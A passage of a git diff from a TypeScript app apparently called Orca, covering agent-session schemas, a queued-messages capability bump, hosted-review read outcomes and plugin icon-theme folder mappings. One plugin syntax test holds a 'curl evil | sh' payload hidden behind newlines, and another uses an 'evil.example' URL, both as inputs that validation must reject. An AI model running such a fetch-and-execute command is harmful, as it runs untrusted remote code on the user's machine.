+export type ClaudeAccountRecipe = z.infer +const acquiredAccountSchema = z + .object({ + version: z.literal(1), + hostId: z.string().min(1).max(512), + sessionId: z.string().min(1).max(512), + scope: z.string().max(98_304), + context: z.string().max(512).nullable(), + fence: z.number().int().positive(), + observedThroughFence: z.number().int().positive(), + generation: z.string().min(1).max(512), + spawnToken: z.string().min(1).max(512), + recipe: claudeAccountRecipeSchema + }) + .strict() +export type AgentSessionAcquiredAccount = z.infer + +/** This optional host observation never changes founding identity or saved choices. */ +export function acquiredAgentSessionAccount( + record: AgentSessionRecord, + hostId?: string +): AgentSessionAcquiredAccount | null { + const parsed = acquiredAccountSchema.safeParse(record.acquiredAccount) + if (!parsed.success || record.provider !== 'claude') { + return null + } + const receipt = parsed.data + const lease = record.lease + if ( + (hostId !== undefined && receipt.hostId !== hostId) || + receipt.sessionId !== record.sessionId || + receipt.scope !== agentSessionScopeKey(record.location) || + receipt.observedThroughFence !== lease.runtimeFence || + receipt.fence > receipt.observedThroughFence || + (lease.claimStatus === 'live' && + (receipt.fence !== lease.runtimeFence || + receipt.spawnToken !== lease.ownerProcess?.spawnToken)) + ) { + return null + } + return receipt +} + +/** Co-written with successful owner proof; a non-reporting older producer invalidates its predecessor. */ +export function withAcquiredAgentSessionAccount( + record: AgentSessionRecord, + acquisition: { generation: string; recipe: ClaudeAccountRecipe } | undefined +): AgentSessionRecord { + const { acquiredAccount: _previous, ...without } = record + const process = record.lease.ownerProcess + if (!acquisition || !process || record.provider !== 'claude') { + return without + } + const acquiredAccount = acquiredAccountSchema.safeParse({ + version: 1, + hostId: process.hostId, + sessionId: record.sessionId, + scope: agentSessionScopeKey(record.location), + context: record.providerContextBoundary?.operationId ?? null, + fence: record.lease.runtimeFence, + observedThroughFence: record.lease.runtimeFence, + generation: acquisition.generation, + spawnToken: process.spawnToken, + recipe: acquisition.recipe + }) + return acquiredAccount.success ? { ...without, acquiredAccount: acquiredAccount.data } : without +} + +/** Known lease transitions preserve the last success; older writers cannot renew this observation. */ +export function acquiredAccountAcrossLease( + record: AgentSessionRecord, + lease: AgentSessionLease +): unknown { + const receipt = acquiredAgentSessionAccount(record) + return receipt ? { ...receipt, observedThroughFence: lease.runtimeFence } : record.acquiredAccount +} diff --git a/src/shared/agent-session-conversation-view.ts b/src/shared/agent-session-conversation-view.ts index 213d67c4643..24e10398493 100644 --- a/src/shared/agent-session-conversation-view.ts +++ b/src/shared/agent-session-conversation-view.ts @@ -25,7 +25,7 @@ export function agentSessionNeverStarted({ } export function agentSessionConversationView(record: ConversationFacts) { - const { lease, ...conversation } = record + const { lease, acquiredAccount: _acquiredAccount, ...conversation } = record const { claimStatus, handoffStage, diff --git a/src/shared/agent-session-death-evidence.ts b/src/shared/agent-session-death-evidence.ts new file mode 100644 index 00000000000..9b4d28daba2 --- /dev/null +++ b/src/shared/agent-session-death-evidence.ts @@ -0,0 +1,12 @@ +export type AgentSessionDeathEvidence = { + kind: 'exit-observed' | 'kill-delivered' | 'pid-absent' | 'identity-mismatch' + detail: string + observedAt: number + /** Fence of the owner (or reservation) this death is about; a fence names exactly one. Absent on + * evidence older builds wrote, which then speaks for no turn. */ + ownerFence?: number + /** Last liveness proof by the transport holder; absent for surface release, failed start or older evidence. */ + lastProvenAliveAt?: number + /** Quit/update/crash when the provider died with its runtime; absent for independent/unknown death. Keep open strings and read with isAgentSessionOrcaStopCause. */ + runtimeEnd?: string +} diff --git a/src/shared/agent-session-journal-open-union.ts b/src/shared/agent-session-journal-open-union.ts index 8d2e0e3b6ab..d6d00142284 100644 --- a/src/shared/agent-session-journal-open-union.ts +++ b/src/shared/agent-session-journal-open-union.ts @@ -18,6 +18,13 @@ export function knownTags(union: z.ZodDiscriminatedUnion): ReadonlySet { ) } +const fallbacks = new WeakSet() + +/** The arm that keeps an unknown tag; saved-outcome storage drops it, so an unknown tag refuses. */ +export function isJournalOpenUnionFallback(schema: z.core.$ZodType): boolean { + return fallbacks.has(schema) +} + /** Keep unknown nonblank tags as-is for readers to skip. Abort the catch-all for known malformed arms; blank tags are damage. */ export function openDiscriminatedUnion(known: T) { const key = known.def.discriminator @@ -25,5 +32,6 @@ export function openDiscriminatedUnion(known: const unknown = z .object({ [key]: z.string().regex(/\S/) }) .refine((value) => !tags.has(value[key] ?? ''), { abort: true }) + fallbacks.add(unknown) return z.union([known, unknown]) } diff --git a/src/shared/agent-session-journal-schemas.ts b/src/shared/agent-session-journal-schemas.ts index 5752081a18a..221ef28ac86 100644 --- a/src/shared/agent-session-journal-schemas.ts +++ b/src/shared/agent-session-journal-schemas.ts @@ -302,6 +302,14 @@ export function isAdmissibleAgentJournalItemBody(value: unknown): value is Agent return AgentJournalItemBodySchema.safeParse(value).success } +/** The wire's known arms, in order; saved-outcome storage declares them in full + * (journal-storage-schema.ts). */ +export const AgentJournalKnownSchemas = { + blocks: Block.options[0].options, + bodies: KnownItemBody.options, + resolution: Resolution +} + /** Submission rows may only carry a user-authored message body. */ export function isAdmissibleAgentJournalMessageBody( value: unknown diff --git a/src/shared/agent-session-operation-ledger.ts b/src/shared/agent-session-operation-ledger.ts index f95662ce766..7f37642e0fa 100644 --- a/src/shared/agent-session-operation-ledger.ts +++ b/src/shared/agent-session-operation-ledger.ts @@ -27,6 +27,8 @@ export type AgentSessionOperationOutcome = sessionId: string conversationCommand?: AgentSessionConversationCommandResult rewind?: AgentSessionRewindResult + /** A no-choice answer cannot be rebuilt from saved picks; narrow at replay, not row load. */ + optionResult?: unknown /** Store the whole launch answer: changed settings cannot reconstruct its mode/downgrade reason. Keep unknown and do not validate at row admission: stricter isAgentLaunchResult checks could drop old rows and permit duplicate effects. Narrow at replay read, where an unreadable payload costs only that reply. */ launch?: unknown } diff --git a/src/shared/agent-session-record.ts b/src/shared/agent-session-record.ts index 21f689bd5bb..07e90d613ec 100644 --- a/src/shared/agent-session-record.ts +++ b/src/shared/agent-session-record.ts @@ -1,3 +1,4 @@ +import type { AgentSessionDeathEvidence } from './agent-session-death-evidence' import { isAgentSessionRewindRecord, type AgentSessionRewindRecord } from './agent-session-rewind' import { isAgentSessionLaunchArgs } from './agent-session-launch-args' import { isAgentSessionConversationName } from './agent-session/agent-session-conversation-name' @@ -32,6 +33,7 @@ import { type AgentSessionAccountHome } from './agent-session-account-home' +export type { AgentSessionDeathEvidence } from './agent-session-death-evidence' export type { AgentSessionAccountHome } from './agent-session-account-home' export type { AgentSessionOptionsReplacement } from './agent-session-options-replacement' @@ -75,19 +77,6 @@ export type AgentSessionProcessIdentity = { /** released has no owner; conflicted retains a legacy terminal owner that recovery waits for and never stops because it is the user's agent. */ export type AgentSessionClaimStatus = 'reserved' | 'live' | 'conflicted' | 'released' -export type AgentSessionDeathEvidence = { - kind: 'exit-observed' | 'kill-delivered' | 'pid-absent' | 'identity-mismatch' - detail: string - observedAt: number - /** Fence of the owner (or reservation) this death is about; a fence names exactly one. Absent on - * evidence older builds wrote, which then speaks for no turn. */ - ownerFence?: number - /** Last liveness proof by the transport holder; absent for surface release, failed start or older evidence. */ - lastProvenAliveAt?: number - /** Quit/update/crash when the provider died with its runtime; absent for independent/unknown death. Keep open strings and read with isAgentSessionOrcaStopCause. */ - runtimeEnd?: string -} - export type AgentSessionLease = { sessionId: string runtimeKind: AgentSessionOwnerRuntimeKind @@ -125,6 +114,8 @@ export type AgentSessionRecord = { providerHandleChain: AgentSessionProviderHandleLink[] providerContextBoundary?: AgentSessionProviderContextBoundary accountHome: AgentSessionAccountHome + /** Optional host-written construction observation; checked independently of record readability. */ + acquiredAccount?: unknown /** Initial launch directory in host path syntax. Floating sessions resume here; worktree/folder IDs resolve their durable location. */ launchDirectory?: string /** Provider options the user chose, replayed whenever a new owner starts the session. */ diff --git a/src/shared/agent-session-runtime-capabilities.ts b/src/shared/agent-session-runtime-capabilities.ts index e747cc085dd..0a70338bc5c 100644 --- a/src/shared/agent-session-runtime-capabilities.ts +++ b/src/shared/agent-session-runtime-capabilities.ts @@ -37,14 +37,15 @@ export const AGENT_SESSION_ACCEPTED_SEND_RUNTIME_CAPABILITY = export const AGENT_SESSION_SEND_ANSWERS_PROOF_RUNTIME_CAPABILITY = 'agent-session.send-answers-proof.v1' as const // Older hosts reject delivery; older clients cannot render queued replies. Gate queue-if-active, -// its setting and chord, but never kept-draft lists/actions. DARK until the shipped host passes -// the integrated Codex steer matrix (#21062); keep out of AGENT_SESSION_RUNTIME_CAPABILITIES. -// v1 links hand-offs via submission.queuedMessageId, never equal draft/submission IDs. queuePause +// its setting and chords, but never kept-draft lists/actions. v2, not v1: released clients that +// read v1 (desktop 1.4.219+, native phone builds) carry an unfinished queue UI, so they never see +// this and keep sending immediately. The Codex steer paths it hands cards to are pinned in +// codex-structured-turn-steer.test.ts. +// Hand-offs link via submission.queuedMessageId, never equal draft/submission IDs. queuePause // holds every card until queuedMessagesResume or a later turn starts. nextQueuedMessageId names // the next eligible card; null/missing means none. Per-card holds: send_failed conversion or kept. -// Host mechanisms land first; this capability gates rollout. export const AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY = - 'agent-session.queued-messages.v1' as const + 'agent-session.queued-messages.v2' as const // Advertise in-place update/edit holds separately from mid-turn queueing: kept/mail cards remain editable while queueing is off. Never fall back to copy/delete. export const AGENT_SESSION_QUEUED_MESSAGE_EDIT_RUNTIME_CAPABILITY = 'agent-session.queued-message-edit.v1' as const @@ -60,7 +61,7 @@ export const AGENT_SESSION_QUEUED_MESSAGE_IMAGE_EDIT_RUNTIME_CAPABILITY = // Publish image cards only to capable readers that preserve images on edit; older copy/delete editing would lose them. export const AGENT_SESSION_QUEUED_IMAGE_CARDS_CLIENT_CAPABILITY = 'agent-session.queued-image-cards.v1' as const -// Strict conversationCommand rejects unknown delivery. Offer queued /compact only with this and queued-messages.v1; its card is the sole waiting surface. +// Strict conversationCommand rejects unknown delivery. Offer queued /compact only with this and queued-messages.v2; its card is the sole waiting surface. export const AGENT_SESSION_QUEUED_COMMANDS_RUNTIME_CAPABILITY = 'agent-session.queued-commands.v1' as const // Gate Claude journal/lifecycle independently of Codex for paired clients. @@ -112,6 +113,7 @@ export const AGENT_SESSION_RUNTIME_CAPABILITIES = [ // turn starts, so a client may gate on either. AGENT_SESSION_ACCEPTED_SEND_RUNTIME_CAPABILITY, AGENT_SESSION_SEND_ANSWERS_PROOF_RUNTIME_CAPABILITY, + AGENT_SESSION_QUEUED_MESSAGES_RUNTIME_CAPABILITY, AGENT_SESSION_QUEUED_COMMANDS_RUNTIME_CAPABILITY, AGENT_SESSION_QUEUED_MESSAGE_EDIT_RUNTIME_CAPABILITY, AGENT_SESSION_QUEUED_MESSAGE_REORDER_RUNTIME_CAPABILITY, diff --git a/src/shared/agent-session-wire.ts b/src/shared/agent-session-wire.ts index c01839026ac..b781afa1252 100644 --- a/src/shared/agent-session-wire.ts +++ b/src/shared/agent-session-wire.ts @@ -322,7 +322,7 @@ export type AgentSessionAttachResult = { tabId?: string } -/** Only queue-if-active callers with queued-messages.v1 receive this draft arm; non-waiting states occur only on settled-draft replays. */ +/** Only queue-if-active callers with queued-messages.v2 receive this draft arm; non-waiting states occur only on settled-draft replays. */ export type AgentSessionQueuedSendReceipt = { messageId: string position: number diff --git a/src/shared/agent-session-journal-body-admission.test.ts b/src/shared/agent-session/journal/agent-session-journal-body-admission.test.ts similarity index 99% rename from src/shared/agent-session-journal-body-admission.test.ts rename to src/shared/agent-session/journal/agent-session-journal-body-admission.test.ts index d5edff6dc85..0d006e87d33 100644 --- a/src/shared/agent-session-journal-body-admission.test.ts +++ b/src/shared/agent-session/journal/agent-session-journal-body-admission.test.ts @@ -2,7 +2,7 @@ import { describe, expect, it } from 'vitest' import { readAgentJournalItemBody, readAgentJournalMessageBody -} from './agent-session-journal-body-admission' +} from '../../agent-session-journal-body-admission' const RESOLUTION = { state: 'pending', selectedOptionId: null, resolvedBy: null, resolvedAt: null } const QUESTION_ENTRY = { diff --git a/src/shared/agent-session-journal-producer.test.ts b/src/shared/agent-session/journal/agent-session-journal-producer.test.ts similarity index 93% rename from src/shared/agent-session-journal-producer.test.ts rename to src/shared/agent-session/journal/agent-session-journal-producer.test.ts index 4dcbbcb0d36..c18d7f577d2 100644 --- a/src/shared/agent-session-journal-producer.test.ts +++ b/src/shared/agent-session/journal/agent-session-journal-producer.test.ts @@ -1,5 +1,8 @@ import { describe, expect, it } from 'vitest' -import { agentJournalLinkageFields, isRootAgentJournalItem } from './agent-session-journal-producer' +import { + agentJournalLinkageFields, + isRootAgentJournalItem +} from '../../agent-session-journal-producer' describe('isRootAgentJournalItem', () => { it("reads a row carrying no agent id as the session's own", () => { diff --git a/src/shared/cli-argument-boundary.ts b/src/shared/cli-argument-boundary.ts index c6c5962eb05..1c4f819bcdc 100644 --- a/src/shared/cli-argument-boundary.ts +++ b/src/shared/cli-argument-boundary.ts @@ -35,6 +35,7 @@ export const CLI_BOOLEAN_FLAGS = new Set([ 'index-status', 'interactive', 'interrupt', + 'keep-open', 'json', 'latest-json', 'local', diff --git a/src/shared/global-settings-types.ts b/src/shared/global-settings-types.ts index 846fc5270af..87c003315f9 100644 --- a/src/shared/global-settings-types.ts +++ b/src/shared/global-settings-types.ts @@ -208,7 +208,7 @@ export type GlobalSettings = GlobalSettingsBase & { terminalUrlMiddleClickBehavior?: 'open' | 'actions' | 'none' /** Opt-in resume of working structured chats after restart; off still lists them for review before token spending. */ nativeChatResumeWorkOnRestart?: boolean - /** Queue editable mid-turn follow-ups until turn end on capable hosts. Absent means on; off sends immediately. */ + /** Queue follow-ups while the agent works on capable hosts; absent means on. */ nativeChatQueueFollowUps?: boolean /** Teach newly started native chats to create inline visuals; absent means on. */ nativeChatInlineVisuals?: boolean @@ -470,6 +470,8 @@ export type GlobalSettings = GlobalSettingsBase & { experimentalEphemeralVms?: boolean /** Experimental (Windows): add WSL distros as hosts, each running its own Orca server. */ experimentalWslHosts?: boolean + /** Declined the add-project offer to run a `\\wsl.localhost` project's distro as a host. */ + wslHostOfferDismissed?: boolean /** Compact worktree cards: hide the metadata row when title and branch say the same thing. */ compactWorktreeCards: boolean /** Legacy persisted key from the Experimental rollout; new writes use compactWorktreeCards. */ diff --git a/src/shared/hosted-review.ts b/src/shared/hosted-review.ts index b41b122d163..c9792e241f5 100644 --- a/src/shared/hosted-review.ts +++ b/src/shared/hosted-review.ts @@ -53,6 +53,8 @@ export type HostedReviewInfo = { export type HostedReviewForBranchArgs = { force?: boolean + /** Only a manual click invalidates pre-click work; force also serves automatic polling. */ + userRefresh?: boolean repoPath: string repoId?: string admissionTier?: 'interactive' | 'status' | 'background' @@ -71,6 +73,37 @@ export type HostedReviewForBranchArgs = { active?: boolean /** Desktop IPC only: an explicit Refresh, which may start a stopped WSL distro (E9). */ wakeWslDistro?: boolean + /** Ask for a HostedReviewForBranchOutcome; older hosts drop it and answer with the bare review. */ + reportReadOutcome?: boolean +} + +/** 'provider' only when this caller's own request started the provider read the host stored as current; cache hits, joined lookups and last-good fallbacks are 'cached'. */ +export type HostedReviewForBranchOutcome = { + review: HostedReviewInfo | null + readOutcome: 'provider' | 'cached' +} + +export type HostedReviewForBranchReply = HostedReviewInfo | null | HostedReviewForBranchOutcome + +export function cachedHostedReviewOutcome( + review: HostedReviewInfo | null +): HostedReviewForBranchOutcome { + return { review, readOutcome: 'cached' } +} + +/** Callers that asked for it learn whether a provider read the host stored as current answered them. */ +export function hostedReviewForBranchReply( + read: HostedReviewForBranchOutcome, + reportReadOutcome: boolean | undefined +): HostedReviewForBranchReply { + return reportReadOutcome === true ? read : read.review +} + +/** An older host drops reportReadOutcome and answers bare; that answer proves nothing about the provider. */ +export function hostedReviewForBranchOutcome( + reply: HostedReviewForBranchReply +): HostedReviewForBranchOutcome { + return reply !== null && 'readOutcome' in reply ? reply : cachedHostedReviewOutcome(reply) } export type HostedReviewSummary = { diff --git a/src/shared/native-chat-follow-up-behavior.ts b/src/shared/native-chat-follow-up-behavior.ts new file mode 100644 index 00000000000..056f2039c39 --- /dev/null +++ b/src/shared/native-chat-follow-up-behavior.ts @@ -0,0 +1,19 @@ +export type NativeChatFollowUpBehavior = 'queue' | 'steer' + +/** Only explicit OFF disables queueing on capable hosts. */ +export function nativeChatQueueFollowUps( + settings: { readonly nativeChatQueueFollowUps?: unknown } | null | undefined +): boolean { + return settings?.nativeChatQueueFollowUps !== false +} + +/** While the agent works on a host that queues: what a plain send does, and whether its alternate would send any differently. */ +export type NativeChatSendFollowUp = { action: NativeChatFollowUpBehavior; offersChoice: boolean } + +/** Read from the send's own resolver, so a waiting command or unanswerable prompts that override the choice also withdraw it. */ +export function nativeChatSendFollowUp( + sendQueues: (alternate?: true) => boolean +): NativeChatSendFollowUp { + const queues = sendQueues() + return { action: queues ? 'queue' : 'steer', offersChoice: queues !== sendQueues(true) } +} diff --git a/src/shared/orchestration-task-summary.ts b/src/shared/orchestration-task-summary.ts index 716c79c85c5..a35d95caa40 100644 --- a/src/shared/orchestration-task-summary.ts +++ b/src/shared/orchestration-task-summary.ts @@ -3,16 +3,18 @@ const TASK_SPEC_BRIEF_LENGTH = 160 export function abbreviateOrchestrationTasks( tasks: readonly T[] ): (T & { spec_truncated: boolean })[] { - return tasks.map((task) => { - const spec = task.spec.replace(/\s+/g, ' ').trim() - const truncated = spec.length > TASK_SPEC_BRIEF_LENGTH - return { - ...task, - spec: truncated ? `${truncateAtCodePoint(spec).trimEnd()}…` : spec, - // Whitespace cleanup alone must not trigger agents to refetch an already complete brief. - spec_truncated: truncated - } - }) + return tasks.map((task) => ({ + ...task, + spec: abbreviateOrchestrationText(task.spec), + // Whitespace cleanup alone must not trigger agents to refetch an already complete brief. + spec_truncated: task.spec.replace(/\s+/g, ' ').trim().length > TASK_SPEC_BRIEF_LENGTH + })) +} + +/** One line of at most 160 characters, ending in … when cut. */ +export function abbreviateOrchestrationText(text: string): string { + const flat = text.replace(/\s+/g, ' ').trim() + return flat.length > TASK_SPEC_BRIEF_LENGTH ? `${truncateAtCodePoint(flat).trimEnd()}…` : flat } function truncateAtCodePoint(spec: string): string { diff --git a/src/shared/plugins/artifacts/plugin-icon-theme-artifact.test.ts b/src/shared/plugins/artifacts/plugin-icon-theme-artifact.test.ts index 8775132457c..1089626413f 100644 --- a/src/shared/plugins/artifacts/plugin-icon-theme-artifact.test.ts +++ b/src/shared/plugins/artifacts/plugin-icon-theme-artifact.test.ts @@ -8,25 +8,43 @@ import { const parse = (value: unknown) => parsePluginIconThemeArtifact(JSON.stringify(value), 'strict') describe('plugin icon theme artifacts', () => { - it('lowercases name and extension keys', () => { + it('lowercases name, extension and folder keys', () => { expect( parse({ schemaVersion: 1, icons: { folder: 'icons/folder.svg' }, fileNames: { 'README.md': 'icons/readme.svg' }, - fileExtensions: { TS: 'icons/ts.svg' } + fileExtensions: { TS: 'icons/ts.svg' }, + folderNames: { Src: 'icons/src.svg', '.github': 'icons/github.svg' }, + folderNamesExpanded: { SRC: 'icons/src-open.svg' } }) ).toEqual({ icons: { folder: 'icons/folder.svg' }, fileNames: { 'readme.md': 'icons/readme.svg' }, - fileExtensions: { ts: 'icons/ts.svg' } + fileExtensions: { ts: 'icons/ts.svg' }, + folderNames: { src: 'icons/src.svg', '.github': 'icons/github.svg' }, + folderNamesExpanded: { src: 'icons/src-open.svg' } }) }) + it('counts folder mappings toward the mapping limit', () => { + const folderNames = Object.fromEntries( + Array.from({ length: 257 }, (_, index) => [`dir${index}`, 'a.svg']) + ) + expect(() => + parse({ schemaVersion: 1, folderNames, folderNamesExpanded: folderNames }) + ).toThrow(/mappings/) + }) + it.each([ ['a case-only duplicate', { schemaVersion: 1, fileExtensions: { ts: 'a.svg', TS: 'b.svg' } }], ['an unknown slot', { schemaVersion: 1, icons: { 'sidebar.search': 'a.svg' } }], ['a path in a file name', { schemaVersion: 1, fileNames: { 'a/b': 'a.svg' } }], + ['a path in a folder name', { schemaVersion: 1, folderNames: { 'a\\b': 'a.svg' } }], + [ + 'a case-only duplicate folder', + { schemaVersion: 1, folderNamesExpanded: { src: 'a.svg', Src: 'b.svg' } } + ], ['an escaping icon path', { schemaVersion: 1, icons: { file: '../a.svg' } }] ])('rejects %s', (_label, value) => { expect(() => parse(value)).toThrow() @@ -92,7 +110,9 @@ describe('isPluginIconThemeRegistration', () => { label: 'Minimal', svgs: [''], icons: {}, - fileExtensions: {} + fileExtensions: {}, + folderNames: {}, + folderNamesExpanded: {} } it.each([ @@ -111,6 +131,12 @@ describe('isPluginIconThemeRegistration', () => { ).toBe(true) }) + it('checks folder indexes too', () => { + expect( + isPluginIconThemeRegistration({ ...base, fileNames: {}, folderNamesExpanded: { src: 1 } }) + ).toBe(false) + }) + it('accepts in-range indexes', () => { expect(isPluginIconThemeRegistration({ ...base, fileNames: { constructor: 0 } })).toBe(true) }) diff --git a/src/shared/plugins/artifacts/plugin-icon-theme-artifact.ts b/src/shared/plugins/artifacts/plugin-icon-theme-artifact.ts index d148260bf8d..b2c4fe873af 100644 --- a/src/shared/plugins/artifacts/plugin-icon-theme-artifact.ts +++ b/src/shared/plugins/artifacts/plugin-icon-theme-artifact.ts @@ -16,11 +16,11 @@ function hasControlCharacter(value: string): boolean { } const iconSlotSchema = z.enum(PLUGIN_ICON_THEME_SLOTS) -const fileNameSchema = z +const entryNameSchema = z .string() .min(1) .max(128) - .refine((name) => !/[\\/]/.test(name) && !hasControlCharacter(name), 'unsafe file name') + .refine((name) => !/[\\/]/.test(name) && !hasControlCharacter(name), 'unsafe name') const fileExtensionSchema = z.string().regex(/^[A-Za-z0-9][A-Za-z0-9+._-]{0,31}$/) // Why: z.record drops an own `__proto__` key, but a file may legitimately be named that. @@ -46,27 +46,39 @@ function ownKeyRecord(keySchema: z.ZodType, valueSchema: z.ZodTyp const ICON_SLOT_SET: ReadonlySet = new Set(PLUGIN_ICON_THEME_SLOTS) +/** Name-keyed maps, each lowercased on parse. */ +const ICON_THEME_NAME_MAPS = [ + 'fileNames', + 'fileExtensions', + 'folderNames', + 'folderNamesExpanded' +] as const +type PluginIconThemeNameMap = (typeof ICON_THEME_NAME_MAPS)[number] + function pluginIconThemeArtifactSchema(strictness: PluginArtifactStrictness) { const icons = z.partialRecord(iconSlotSchema, pluginRelativePathSchema) + const nameMap = (key: z.ZodType) => + ownKeyRecord(key, pluginRelativePathSchema).default({}) const fields = { schemaVersion: z.literal(1), icons: (strictness === 'strict' ? icons : z.preprocess(pickKnownArtifactKeys(ICON_SLOT_SET), icons) ).default({}), - fileNames: ownKeyRecord(fileNameSchema, pluginRelativePathSchema).default({}), - fileExtensions: ownKeyRecord(fileExtensionSchema, pluginRelativePathSchema).default({}) + fileNames: nameMap(entryNameSchema), + fileExtensions: nameMap(fileExtensionSchema), + // Why these names: popular file icon themes use them, so ports keep their keys. + folderNames: nameMap(entryNameSchema), + folderNamesExpanded: nameMap(entryNameSchema) } return strictness === 'strict' ? z.strictObject(fields) : z.object(fields) } export type PluginIconThemeArtifact = { icons: Partial> - fileNames: Record - fileExtensions: Record -} +} & Record> -/** Lowercases name and extension keys so lookups match on case-insensitive filesystems. */ +/** Lowercases every name-map key so lookups match on case-insensitive filesystems. */ export function parsePluginIconThemeArtifact( raw: string, strictness: PluginArtifactStrictness = 'tolerant' @@ -84,21 +96,33 @@ export function parsePluginIconThemeArtifact( } return result } - const artifact = { + const artifact: PluginIconThemeArtifact = { icons: parsed.icons, fileNames: lowercaseKeys(parsed.fileNames, 'file name'), - fileExtensions: lowercaseKeys(parsed.fileExtensions, 'file extension') + fileExtensions: lowercaseKeys(parsed.fileExtensions, 'file extension'), + folderNames: lowercaseKeys(parsed.folderNames, 'folder name'), + folderNamesExpanded: lowercaseKeys(parsed.folderNamesExpanded, 'expanded folder name') } - const mappings = - Object.keys(artifact.icons).length + - Object.keys(artifact.fileNames).length + - Object.keys(artifact.fileExtensions).length + const mappings = pluginIconThemeIconRefs(artifact).length if (mappings > ICON_THEME_MAPPING_LIMIT) { throw new Error(`icon theme exceeds ${ICON_THEME_MAPPING_LIMIT} mappings`) } return artifact } +/** Every slot and name mapping's target, in a stable order; one entry per mapping. */ +export function pluginIconThemeIconRefs( + theme: { icons: Partial> } & Record< + PluginIconThemeNameMap, + Record + > +): Ref[] { + return [ + ...Object.values(theme.icons), + ...ICON_THEME_NAME_MAPS.flatMap((map) => Object.values(theme[map])) + ].filter((ref): ref is Ref => ref !== undefined) +} + export const PLUGIN_ICON_SVG_MAX_BYTES = 64 * 1024 export const PLUGIN_ICON_THEME_MAX_SVGS = 512 @@ -133,15 +157,12 @@ const pluginIconThemeRegistrationObjectSchema = pluginIconThemeMetadataSchema.ex svgs: z.array(z.string().max(PLUGIN_ICON_SVG_MAX_BYTES)).max(PLUGIN_ICON_THEME_MAX_SVGS), icons: z.partialRecord(iconSlotSchema, svgIndexSchema), fileNames: ownKeyRecord(z.string(), svgIndexSchema), - fileExtensions: ownKeyRecord(z.string(), svgIndexSchema) + fileExtensions: ownKeyRecord(z.string(), svgIndexSchema), + folderNames: ownKeyRecord(z.string(), svgIndexSchema), + folderNamesExpanded: ownKeyRecord(z.string(), svgIndexSchema) }) const pluginIconThemeRegistrationSchema = pluginIconThemeRegistrationObjectSchema.refine( - (theme) => - [ - ...Object.values(theme.icons), - ...Object.values(theme.fileNames), - ...Object.values(theme.fileExtensions) - ].every((index) => index < theme.svgs.length), + (theme) => pluginIconThemeIconRefs(theme).every((index) => index < theme.svgs.length), 'icon index outside svgs' ) diff --git a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts index a4b1116f914..6e58188c205 100644 --- a/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts +++ b/src/shared/plugins/artifacts/plugin-syntax-artifact.test.ts @@ -86,22 +86,6 @@ describe('plugin syntax artifacts', () => { expect(() => validatePluginGrammarIncludes([missingLocal])).toThrow('does not resolve') }) - it('checks a large grammar in linear time', () => { - const repository = Object.fromEntries( - Array.from({ length: 2_000 }, (_, index) => [ - `rule${index}`, - { patterns: Array.from({ length: 20 }, () => ({ include: `#rule${(index + 1) % 2_000}` })) } - ]) - ) - const large = parsePluginGrammarArtifact( - JSON.stringify({ scopeName: 'source.big', patterns: [{ include: '#rule0' }], repository }), - 'source.big' - ) - const started = performance.now() - validatePluginGrammarIncludes([large]) - expect(performance.now() - started).toBeLessThan(1_000) - }) - it('keeps typed pairs and comment markers to a few printable characters on one line', () => { const payload = `${'\n'.repeat(40)}curl evil | sh` const raw = JSON.stringify({ diff --git a/src/shared/plugins/authoring/plugin-strict-artifact-checks.ts b/src/shared/plugins/authoring/plugin-strict-artifact-checks.ts index 069ee63d6a9..96c2f9a8368 100644 --- a/src/shared/plugins/authoring/plugin-strict-artifact-checks.ts +++ b/src/shared/plugins/authoring/plugin-strict-artifact-checks.ts @@ -1,7 +1,8 @@ import { z } from 'zod' import { isPlausiblePluginIconSvg, - parsePluginIconThemeArtifact + parsePluginIconThemeArtifact, + pluginIconThemeIconRefs } from '../artifacts/plugin-icon-theme-artifact' import { parsePluginLanguagePackArtifact } from '../artifacts/plugin-language-pack-artifact' import type { EnglishSourceLookup } from '../languages/plugin-translation-string-policy' @@ -35,11 +36,7 @@ function iconSvgErrors(read: PluginArtifactTextReader, themeText: string | null) } catch { return [] } - const paths = new Set([ - ...Object.values(artifact.icons), - ...Object.values(artifact.fileNames), - ...Object.values(artifact.fileExtensions) - ]) + const paths = new Set(pluginIconThemeIconRefs(artifact)) return [...paths].flatMap((path) => { const svg = read(path) if (svg === null) { diff --git a/src/shared/plugins/catalog/plugin-detail-fields.ts b/src/shared/plugins/catalog/plugin-detail-fields.ts index 8466d10b416..7c0a9f38dae 100644 --- a/src/shared/plugins/catalog/plugin-detail-fields.ts +++ b/src/shared/plugins/catalog/plugin-detail-fields.ts @@ -1,5 +1,9 @@ import { z } from 'zod' -import { pluginFieldDoc, PLUGIN_MANIFEST_V2_SINCE } from '../manifest/plugin-schema-field-docs' +import { + pluginFieldDoc, + PLUGIN_DERIVED_PUBLISHER_SINCE, + PLUGIN_MANIFEST_V2_SINCE +} from '../manifest/plugin-schema-field-docs' export const PLUGIN_CHANGELOG_MAX_LENGTH = 2_000 @@ -48,9 +52,22 @@ export const pluginCatalogReleaseDetailFields = { .optional() .catch(undefined) .meta( - pluginFieldDoc('Source repository page, https only.', NEXT, [ - 'https://github.com/acme/orca-gleam-syntax' - ]) + pluginFieldDoc( + "Source repository page, https only. Orca links it when it is a github.com or gitlab.com repository of the plugin's publisher.", + NEXT, + ['https://github.com/acme/orca-gleam-syntax'] + ) + ), + sourceUnavailable: z + .literal(true) + .optional() + .catch(undefined) + .meta( + pluginFieldDoc( + "Set when the release's `repository` is gone and `source` serves an archived copy, so Orca links `source` instead.", + PLUGIN_DERIVED_PUBLISHER_SINCE, + [true] + ) ), homepage: httpsUrlSchema .optional() diff --git a/src/shared/plugins/catalog/plugin-repository-link.test.ts b/src/shared/plugins/catalog/plugin-repository-link.test.ts index 9a723a6724e..b8ebc872991 100644 --- a/src/shared/plugins/catalog/plugin-repository-link.test.ts +++ b/src/shared/plugins/catalog/plugin-repository-link.test.ts @@ -1,5 +1,9 @@ import { describe, expect, it } from 'vitest' -import { pluginReadmePageUrl, pluginRepositoryPageUrl } from './plugin-repository-link' +import { + pluginListingRepositoryUrl, + pluginReadmePageUrl, + pluginRepositoryPageUrl +} from './plugin-repository-link' describe('pluginRepositoryPageUrl', () => { it('builds the repository page from the https or ssh install URL', () => { @@ -59,3 +63,44 @@ describe('pluginReadmePageUrl', () => { expect(pluginReadmePageUrl({ gitUrl: 'https://evil.example/acme/x', commit })).toBeNull() }) }) + +describe('pluginListingRepositoryUrl', () 